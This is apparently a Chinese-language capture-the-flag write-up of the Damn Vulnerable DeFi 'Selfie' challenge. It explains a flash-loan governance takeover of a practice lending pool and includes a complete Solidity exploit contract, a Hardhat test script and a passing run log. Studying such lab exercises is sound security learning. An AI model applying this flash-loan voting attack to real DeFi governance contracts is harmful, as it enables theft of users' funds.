Damn Vulnerable DeFi 挑战记录 #6 - Selfie

Challenge #6 - Selfie

A new cool lending pool has launched! It's now offering flash loans of DVT tokens.

Wow, and it even includes a really fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.

OpenZeppelin 文档

ERC20Snapshot.sol

目标: 取走闪电贷池中的150万个DVT token

    after(async function () {
        /** SUCCESS CONDITIONS */

        // Attacker has taken all tokens from the pool
        expect(await this.token.balanceOf(attacker.address)).to.be.equal(TOKENS_IN_POOL);
        expect(await this.token.balanceOf(this.pool.address)).to.be.equal("0");
    });

代码解析:

SelfiePool.sol DVT token闪电贷池

  • flashLoan 常规闪电贷函数

  • drainAllFunds 取走所有资金, 被onlyGovernance 保护

    function drainAllFunds(address receiver) external onlyGovernance {
       uint256 amount = token.balanceOf(address(this));
       token.transfer(receiver, amount);
       
       emit FundsDrained(receiver, amount);
   }

DamnValuableTokenSnapshot.sol 继承自*ERC20Snapshot.sol* 带快照功能的DVT token

  • snapshot 快照函数,记录快照id存入至lastSnapshotId

  • getBalanceAtLastSnapshot 返回指定地址上一次快照时的余额

  • getTotalSupplyAtLastSnapshot 返回上一次快照时的总余额


SimpleGovernance.sol 治理机制主合约, 可以发起提案并执行

queueAction 函数发起提案

    function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
       require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
       require(receiver != address(this), "Cannot queue actions that affect Governance");

       uint256 actionId = actionCounter;

       GovernanceAction storage actionToQueue = actions[actionId];
       actionToQueue.receiver = receiver;
       actionToQueue.weiAmount = weiAmount;
       actionToQueue.data = data;
       actionToQueue.proposedAt = block.timestamp;

       actionCounter++;

       emit ActionQueued(actionId, msg.sender);
       return actionId;
   }
  • check 有足够的治理代币

  • check 禁止合约自身发起提案

executeAction 函数,只能执行提案队列中的提案

    function executeAction(uint256 actionId) external payable {
        require(_canBeExecuted(actionId), "Cannot execute this action");
        
        GovernanceAction storage actionToExecute = actions[actionId];
        actionToExecute.executedAt = block.timestamp;

        actionToExecute.receiver.functionCallWithValue(
            actionToExecute.data,
            actionToExecute.weiAmount
        );
  • check 提案已加入队列

  • 通过functionCallWithValue 执行提案内容

攻击思路:

通过drainAllFunds 取走所有资金,而该函数被onlyGovernance 保护, 且无法获得governance权限, 因此只能操控SimpleGovernance 合约提取资金,即通过拥有超过一半的治理代币发起提案执行取款操作

  • 发起闪电贷借出所有治理代币

  • 调用snapshot 函数快照

  • 已拥有超过一半的治理代币直接发起取款提案成功进入提案队列

  • 还款至借贷池完成闪电贷

  • 等待两天(模拟环境中直接操控evm时间至2天后),执行提案内容取走所有资金

代码示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGovernance {
    function queueAction(
        address receiver,
        bytes calldata data,
        uint256 weiAmount
    ) external returns (uint256);

    function executeAction(uint256 actionId) external payable;
}

interface IFReceiver {
    function receiveTokens(address token, uint256 amount) external;
}
interface ISelfiePool {
    function flashLoan(uint256 borrowAmount) external;
}


interface IDVTSnapshot {
    function transfer(address recipient, uint256 amount) external returns (bool);

    function snapshot() external returns (uint256);
}

contract SelfieExploit is IFReceiver {
    address immutable attacker;
    IGovernance immutable governance;
    ISelfiePool immutable pool;
    uint256 actionId;

    constructor(IGovernance _governance, ISelfiePool _pool) {
        attacker = msg.sender;
        governance = _governance;
        pool = _pool;
    }

    function takeoverGov(uint256 amount) external {
        pool.flashLoan(amount); 
    }

    function receiveTokens(address token, uint256 amount) external override {
        IDVTSnapshot(token).snapshot();
        actionId = governance.queueAction(
            address(pool),
            abi.encodeWithSignature("drainAllFunds(address)", attacker),
            0
        );
        IDVTSnapshot(token).transfer(address(pool), amount);
    }

    function drainToAttacker() external {
        governance.executeAction(actionId);
    }
}
    it("Exploit", async function () {
        /** CODE YOUR EXPLOIT HERE */
        const ExploitFactory = await ethers.getContractFactory("SelfieExploit", attacker);
        const exploit = await ExploitFactory.deploy(this.governance.address, this.pool.address);

        await exploit.takeoverGov(TOKENS_IN_POOL);

        await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); 

        await exploit.drainToAttacker();
    });

运行通过

❯ yarn run selfie
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/selfie/selfie.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/selfie/selfie.challenge.js


  [Challenge] Selfie
    ✓ Exploit (210ms)


  1 passing (2s)

Done in 3.82s.

**Twitter: @0xRunstar